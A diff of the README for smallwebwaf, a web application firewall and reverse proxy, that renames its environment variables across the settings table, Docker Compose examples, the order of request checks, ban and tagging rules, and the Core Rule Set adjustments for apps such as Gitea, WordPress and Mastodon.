| `SWW_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
|
||||||
| `SWW_WAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
|
| `SWW_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
|
||||||
| `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
|
| `SWW_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
|
||||||
| `SWW_WAF_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
|
| `SWW_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
|
||||||
| `SWW_WAF_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
|
| `SWW_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
|
||||||
| `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
|
| `SWW_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
|
||||||
| `SWW_WAF_IP_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
|
| `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
|
||||||
| `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS` | `2000` | How long a DNS blocklist query or an AbuseIPDB check may take, in milliseconds. |
|
| `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
|
||||||
| `SWW_WAF_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
|
| `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
||||||
| `SWW_WAF_BANS_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
| `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state and cache file is written. |
|
||||||
| `SWW_WAF_STATE_WRITE_INTERVAL` | `15m` | How often every state and cache file is written. |
|
| `SWW_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. |
|
||||||
| `SWW_WAF_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. |
|
| `SWW_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
||||||
| `SWW_WAF_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
| `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
||||||
| `SWW_WAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
| `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
||||||
| `SWW_WAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
| `SWW_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
|
||||||
| `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
|
| `SWW_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
|
||||||
| `SWW_WAF_LOG_REMOTE_BUFFER_LINES` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
|
| `SWW_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
|
||||||
| `SWW_WAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
|
| `SWW_LOG_REMOTE_APP_NAME` | `SWW_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
|
||||||
| `SWW_WAF_LOG_REMOTE_APP_NAME` | `SWW_WAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
|
| `SWW_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
|
||||||
| `SWW_WAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
|
| `SWW_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
|
||||||
| `SWW_WAF_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
|
| `SWW_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
|
||||||
| `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
|
| `SWW_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
|
||||||
| `SWW_WAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
|
| `SWW_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
|
||||||
| `SWW_WAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
|
| `SWW_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
|
||||||
| `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
|
| `SWW_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
|
||||||
| `SWW_WAF_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
|
| `SWW_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
|
||||||
| `SWW_WAF_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
|
| `SWW_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
|
||||||
| `SWW_WAF_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
|
| `SWW_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
|
||||||
| `SWW_WAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
|
| `SWW_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
|
||||||
| `SWW_WAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
|
| `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
|
||||||
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
|
| `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
|
||||||
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
|
| `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in a minute, a size. |
|
||||||
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one client in a minute, a size. |
|
| `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in an hour, a size. |
|
||||||
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one client in an hour, a size. |
|
| `SWW_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
|
||||||
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
|
| `SWW_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
|
||||||
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
|
| `SWW_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. |
|
||||||
| `SWW_WAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the netblock around a client in a minute, a size. |
|
| `SWW_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. |
|
||||||
| `SWW_WAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the netblock around a client in an hour, a size. |
|
| `SWW_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 32. |
|
||||||
| `SWW_WAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 32. |
|
| `SWW_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 128. |
|
||||||
| `SWW_WAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 128. |
|
| `SWW_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
|
||||||
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
|
| `SWW_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
|
||||||
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
|
| `SWW_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. |
|
||||||
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one AS number in a minute, a size. |
|
| `SWW_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. |
|
||||||
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one AS number in an hour, a size. |
|
| `SWW_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
|
||||||
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
|
| `SWW_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
|
||||||
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
|
| `SWW_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. |
|
||||||
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the whole service in a minute, a size. |
|
| `SWW_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. |
|
||||||
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the whole service in an hour, a size. |
|
| `SWW_WATCH_NETS` | empty | Named netblocks the `SWW_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
|
||||||
| `SWW_WAF_ANOMALY_WATCHED_NETS` | empty | Named netblocks the `SWW_WAF_ANOMALY_WATCHED_NET_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
|
| `SWW_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
|
||||||
| `SWW_WAF_ANOMALY_WATCHED_NET_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
|
| `SWW_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
|
||||||
| `SWW_WAF_ANOMALY_WATCHED_NET_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
|
| `SWW_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. |
|
||||||
| `SWW_WAF_ANOMALY_WATCHED_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for a watched netblock in a minute, a size. |
|
| `SWW_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. |
|
||||||
| `SWW_WAF_ANOMALY_WATCHED_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for a watched netblock in an hour, a size. |
|
|
||||||
|
|
||||||
[`docs/settings.md`](docs/settings.md) gives the values each setting takes in
|
[`docs/settings.md`](docs/settings.md) gives the values each setting takes in
|
||||||
full, and the limits that are fixed rather than settings.
|
full, and the limits that are fixed rather than settings.
|
||||||
@@ -366,8 +362,8 @@ services:
|
|||||||
rproxy:
|
rproxy:
|
||||||
image: smallwebwaf
|
image: smallwebwaf
|
||||||
environment:
|
environment:
|
||||||
SWW_RPROXY_WAF_BACKEND: http://waf:8080
|
SWRP_WAF_BACKEND: http://waf:8080
|
||||||
SWW_RPROXY_UPSTREAM_URL: http://app:8081
|
SWRP_UPSTREAM_URL: http://app:8081
|
||||||
ports:
|
ports:
|
||||||
- "8080:8080"
|
- "8080:8080"
|
||||||
|
|
||||||
@@ -402,8 +398,8 @@ services:
|
|||||||
rproxy:
|
rproxy:
|
||||||
image: smallwebwaf
|
image: smallwebwaf
|
||||||
environment:
|
environment:
|
||||||
SWW_RPROXY_WAF_BACKEND: http://waf:8080
|
SWRP_WAF_BACKEND: http://waf:8080
|
||||||
SWW_RPROXY_UPSTREAM_URL: http://app:8081
|
SWRP_UPSTREAM_URL: http://app:8081
|
||||||
ports:
|
ports:
|
||||||
- "8080:8080"
|
- "8080:8080"
|
||||||
|
|
||||||
@@ -412,22 +408,22 @@ services:
|
|||||||
environment:
|
environment:
|
||||||
SWW_COMMAND: waf
|
SWW_COMMAND: waf
|
||||||
# Monitoring skips every check.
|
# Monitoring skips every check.
|
||||||
SWW_WAF_ALLOW_NETS: 192.0.2.10
|
SWW_ALLOW_NETS: 192.0.2.10
|
||||||
# The office and the automation host are never rate limited.
|
# The office and the automation host are never rate limited.
|
||||||
SWW_WAF_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7
|
SWW_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7
|
||||||
# A netblock that sends nothing wanted.
|
# A netblock that sends nothing wanted.
|
||||||
SWW_WAF_DENY_NETS: 198.51.100.128/25
|
SWW_DENY_NETS: 198.51.100.128/25
|
||||||
# Tighter limits for everyone else: a small static site.
|
# Tighter limits for everyone else: a small static site.
|
||||||
SWW_WAF_RATE_LIMIT_PER_MINUTE: "60"
|
SWW_RATE_LIMIT_PER_MINUTE: "60"
|
||||||
SWW_WAF_RATE_LIMIT_PER_HOUR: "600"
|
SWW_RATE_LIMIT_PER_HOUR: "600"
|
||||||
SWW_WAF_RATE_LIMIT_PER_DAY: "3000"
|
SWW_RATE_LIMIT_PER_DAY: "3000"
|
||||||
# Hosting networks and one country get a share of those limits.
|
# Hosting networks and one country get a share of those limits.
|
||||||
SWW_WAF_TAG_LIMIT_PERCENT: asn=14061:50,asn=16276:25,country=CN:25
|
SWW_TAG_LIMIT_PERCENT: asn=14061:50,asn=16276:25,country=CN:25
|
||||||
# Paths only scanners ask for; one request bans the client.
|
# Paths only scanners ask for; one request bans the client.
|
||||||
SWW_WAF_TRAP_PATHS: /wp-login.php,/xmlrpc.php
|
SWW_TRAP_PATHS: /wp-login.php,/xmlrpc.php
|
||||||
# Answer a refused client with 429 rather than 403.
|
# Answer a refused client with 429 rather than 403.
|
||||||
SWW_WAF_BAN_RESPONSE: "429"
|
SWW_BAN_RESPONSE: "429"
|
||||||
SWW_WAF_LIMIT_BAN_DURATION: 30m
|
SWW_LIMIT_BAN_DURATION: 30m
|
||||||
volumes:
|
volumes:
|
||||||
- waf-state:/var/lib/sww
|
- waf-state:/var/lib/sww
|
||||||
|
|
||||||
@@ -453,9 +449,9 @@ services:
|
|||||||
# A Dockerfile built FROM the smallwebwaf image, with rproxy inside.
|
# A Dockerfile built FROM the smallwebwaf image, with rproxy inside.
|
||||||
build: ./app
|
build: ./app
|
||||||
environment:
|
environment:
|
||||||
SWW_RPROXY_WAF_BACKEND: http://waf:8080
|
SWRP_WAF_BACKEND: http://waf:8080
|
||||||
# Answer 503 rather than pass a request on while waf is down.
|
# Answer 503 rather than pass a request on while waf is down.
|
||||||
SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION: deny
|
SWRP_DEFAULT_DISPOSITION: deny
|
||||||
ports:
|
ports:
|
||||||
- "8080:8080"
|
- "8080:8080"
|
||||||
|
|
||||||
@@ -463,16 +459,16 @@ services:
|
|||||||
image: smallwebwaf
|
image: smallwebwaf
|
||||||
environment:
|
environment:
|
||||||
SWW_COMMAND: waf
|
SWW_COMMAND: waf
|
||||||
SWW_WAF_INSTANCE_NAME: fsn1/waf
|
SWW_INSTANCE_NAME: fsn1/waf
|
||||||
# Refuse nothing yet; log what enforce mode would have done.
|
# Refuse nothing yet; log what enforce mode would have done.
|
||||||
SWW_WAF_MODE: observe
|
SWW_MODE: observe
|
||||||
# Look addresses up in a local IPinfo Lite database, never GeoJS.
|
# Look addresses up in a local IPinfo Lite database, never GeoJS.
|
||||||
SWW_WAF_LOOKUP_SOURCE: file
|
SWW_LOOKUP_SOURCE: file
|
||||||
SWW_WAF_LOOKUP_DB_PATH: /var/lib/ipinfo/ipinfo_lite.mmdb
|
SWW_LOOKUP_DB_PATH: /var/lib/ipinfo/ipinfo_lite.mmdb
|
||||||
# Alerts to an ntfy topic, with its token read from a file.
|
# Alerts to an ntfy topic, with its token read from a file.
|
||||||
SWW_WAF_ALERT_NTFY_URL: https://ntfy.example/smallwebwaf
|
SWW_ALERT_NTFY_URL: https://ntfy.example/smallwebwaf
|
||||||
SWW_WAF_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy
|
SWW_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy
|
||||||
SWW_WAF_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error
|
SWW_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error
|
||||||
volumes:
|
volumes:
|
||||||
- waf-state:/var/lib/sww
|
- waf-state:/var/lib/sww
|
||||||
- /srv/ipinfo:/var/lib/ipinfo:ro
|
- /srv/ipinfo:/var/lib/ipinfo:ro
|
||||||
@@ -509,19 +505,19 @@ request reaches the app.
|
|||||||
|
|
||||||
1. The health check, `GET /_sww/healthz`, is answered at once.
|
1. The health check, `GET /_sww/healthz`, is answered at once.
|
||||||
2. The visitor's address is worked out from `X-Forwarded-For`, believed only
|
2. The visitor's address is worked out from `X-Forwarded-For`, believed only
|
||||||
from `SWW_RPROXY_TRUSTED_PROXIES`. `rproxy` sends `waf` the request as the
|
from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `waf` the request as the visitor
|
||||||
visitor sent it, with the first 64 KiB of its body.
|
sent it, with the first 64 KiB of its body.
|
||||||
|
|
||||||
`waf` takes the checks:
|
`waf` takes the checks:
|
||||||
|
|
||||||
3. The header limits, then the tag lists. A client in `SWW_WAF_ALLOW_NETS` skips
|
3. The header limits, then the tag lists. A client in `SWW_ALLOW_NETS` skips the
|
||||||
the header limits.
|
header limits.
|
||||||
4. The static lists, `SWW_WAF_ALLOW_NETS` and `SWW_WAF_DENY_NETS`.
|
4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`.
|
||||||
5. The bans.
|
5. The bans.
|
||||||
6. The lookup of the client's AS number and country.
|
6. The lookup of the client's AS number and country.
|
||||||
7. The country list.
|
7. The country list.
|
||||||
8. The reputation sources.
|
8. The reputation sources.
|
||||||
9. The tag refusals of `SWW_WAF_TAG_DENY`.
|
9. The tag refusals of `SWW_TAG_DENY`.
|
||||||
10. The client's limit percentage, from its tags, its AS number, its country or
|
10. The client's limit percentage, from its tags, its AS number, its country or
|
||||||
a reputation hit.
|
a reputation hit.
|
||||||
11. The rate limits.
|
11. The rate limits.
|
||||||
@@ -537,23 +533,23 @@ request reaches the app.
|
|||||||
17. The request is passed to the app, streaming.
|
17. The request is passed to the app, streaming.
|
||||||
18. After the answer, `rproxy` sends `waf` a report with the status and the body
|
18. After the answer, `rproxy` sends `waf` a report with the status and the body
|
||||||
bytes each way. For an allowed request, `waf` counts the bytes
|
bytes each way. For an allowed request, `waf` counts the bytes
|
||||||
`SWW_WAF_BYTES_COUNTED` names toward the byte limits, bans the client if
|
`SWW_BYTES_COUNT` names toward the byte limits, bans the client if they take
|
||||||
they take it past one, and adds the request to the client's history.
|
it past one, and adds the request to the client's history.
|
||||||
|
|
||||||
A refused visitor is answered with `SWW_WAF_BAN_RESPONSE`. A `block` rule or a
|
A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core
|
||||||
Core Rule Set match answers `403` and bans nobody, since the Core Rule Set has
|
Rule Set match answers `403` and bans nobody, since the Core Rule Set has false
|
||||||
false positives; such refusals count toward `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`
|
positives; such refusals count toward `SWW_ERROR_BURST_THRESHOLD` instead. A
|
||||||
instead. A request over the header limits of step 3 is answered `431`, and bans
|
request over the header limits of step 3 is answered `431`, and bans nobody
|
||||||
nobody either. `rproxy` itself answers `405` to a method it does not pass on,
|
either. `rproxy` itself answers `405` to a method it does not pass on, and the
|
||||||
and the status for a size or time limit, such as `413` for a body too large.
|
status for a size or time limit, such as `413` for a body too large.
|
||||||
|
|
||||||
### Clients and bans
|
### Clients and bans
|
||||||
|
|
||||||
- A client is one IPv4 address or one IPv6 netblock of
|
- A client is one IPv4 address or one IPv6 netblock of `SWW_IPV6_GROUP_PREFIX`,
|
||||||
`SWW_WAF_IPV6_GROUP_PREFIX`, since one abuser usually controls a whole /64.
|
since one abuser usually controls a whole /64.
|
||||||
- Each limit is counted over a sliding window with a few integers per client.
|
- Each limit is counted over a sliding window with a few integers per client.
|
||||||
The table of clients and the table of bans each have a bound
|
The table of clients and the table of bans each have a bound
|
||||||
(`SWW_WAF_MAX_TRACKED_CLIENTS`, `SWW_WAF_MAX_BANS`), so memory is bounded too.
|
(`SWW_MAX_TRACKED_CLIENTS`, `SWW_MAX_BANS`), so memory is bounded too.
|
||||||
- A ban refuses every request from its netblock until it ends. Requests refused
|
- A ban refuses every request from its netblock until it ends. Requests refused
|
||||||
under a ban count toward no limit. A permanent ban ends only when an admin
|
under a ban count toward no limit. A permanent ban ends only when an admin
|
||||||
lifts it.
|
lifts it.
|
||||||
@@ -568,62 +564,56 @@ Each request gets tags from what `waf` knows of its client, written in the
|
|||||||
`tags` field of its log line:
|
`tags` field of its log line:
|
||||||
|
|
||||||
- `asn=<number>` and `country=<code>`, from the lookup;
|
- `asn=<number>` and `country=<code>`, from the lookup;
|
||||||
- one tag per list of `SWW_WAF_TAG_LISTS` that holds the client, such as
|
- one tag per list of `SWW_TAG_LISTS` that holds the client, such as `torexit`
|
||||||
`torexit` or `vpn=mullvad`;
|
or `vpn=mullvad`;
|
||||||
- `crowdsec`, `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists
|
- `crowdsec`, `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists
|
||||||
the client;
|
the client;
|
||||||
- `exploitsignature`, when a rule file or the Core Rule Set matched the request;
|
- `exploitsignature`, when a rule file or the Core Rule Set matched the request;
|
||||||
- `asn=<number>` and `prefix=<netblock>`, from a routewatch instance, while
|
- `asn=<number>` and `prefix=<netblock>`, from a routewatch instance, while
|
||||||
`SWW_WAF_ROUTEWATCH_URL` is set.
|
`SWW_ROUTEWATCH_URL` is set.
|
||||||
|
|
||||||
`SWW_WAF_TAG_DENY` refuses requests by tag, and `SWW_WAF_TAG_LIMIT_PERCENT`
|
`SWW_TAG_DENY` refuses requests by tag, and `SWW_TAG_LIMIT_PERCENT` lowers a
|
||||||
lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
||||||
|
|
||||||
### Attack detection
|
### Attack detection
|
||||||
|
|
||||||
- The Core Rule Set reads the method, the URL with its query string, and the
|
- The Core Rule Set reads the method, the URL with its query string, and the
|
||||||
headers of every request, and no body unless
|
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
||||||
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. In front of a code forge,
|
front of a code forge, bodies carry what people write and publish, which the
|
||||||
bodies carry what people write and publish, which the rules take for attacks.
|
rules take for attacks.
|
||||||
- `smallwebwaf` changes the Core Rule Set in five ways so that it lets ordinary
|
- `smallwebwaf` changes the Core Rule Set in fifteen ways so that ordinary
|
||||||
requests to a code forge through, such as git over HTTP and sign-in through
|
requests get through to the apps listed below. No setting undoes the changes;
|
||||||
Git Credential Manager. No setting undoes the changes; "Attack detection" in
|
"Attack detection" in [`SPEC.md`](SPEC.md) lists them.
|
||||||
[`SPEC.md`](SPEC.md) lists them.
|
- These apps work out of the box at the default settings, and their recorded
|
||||||
- Each supported app also has its own fixes, which let its ordinary requests
|
ordinary requests pass the Core Rule Set:
|
||||||
through. Its recorded ordinary requests pass the Core Rule Set at the default
|
- gitea: git over HTTP and sign-in through Git Credential Manager get
|
||||||
settings. The supported apps, by their names in `SWW_WAF_APPS`, are:
|
through. On gitea's own paths, its searches, file names and branch names
|
||||||
- `gitea`, whose fixes let its container registry, searches, file names,
|
do too.
|
||||||
branch names and repository names through;
|
- Forgejo: git over HTTP and its container and package registries get
|
||||||
- `forgejo`, a fork of gitea, which gets gitea's fixes too, and whose own
|
through. On Forgejo's own paths, its searches, file names and branch names
|
||||||
fixes let its searches through;
|
do too.
|
||||||
- `wordpress`, whose fixes let through its searches, its names, its file
|
- WordPress: saving a post from the block editor gets through. On
|
||||||
names and a post saved from the block editor;
|
WordPress's own paths, its searches, names and file names do too.
|
||||||
- `drupal`, whose fixes let through the page to return to, its searches and
|
- Drupal: on Drupal's own paths, the page to return to, its searches and its
|
||||||
its names;
|
names get through.
|
||||||
- `mediawiki`, whose fixes let through its searches, its page titles, its
|
- MediaWiki: on MediaWiki's own paths, its searches, page titles, names and
|
||||||
names and its wikitext;
|
wikitext get through.
|
||||||
- `mastodon`, whose fixes let through its searches, its names, its email
|
- Mastodon: on Mastodon's own paths, its searches, names, email addresses,
|
||||||
addresses, its posts and deliveries from other servers;
|
posts and deliveries from other servers get through.
|
||||||
- `vaultwarden`, whose fixes let through its names, its password hints, its
|
- Vaultwarden: on Vaultwarden's own paths, its names, password hints, email
|
||||||
email addresses and its encrypted file names;
|
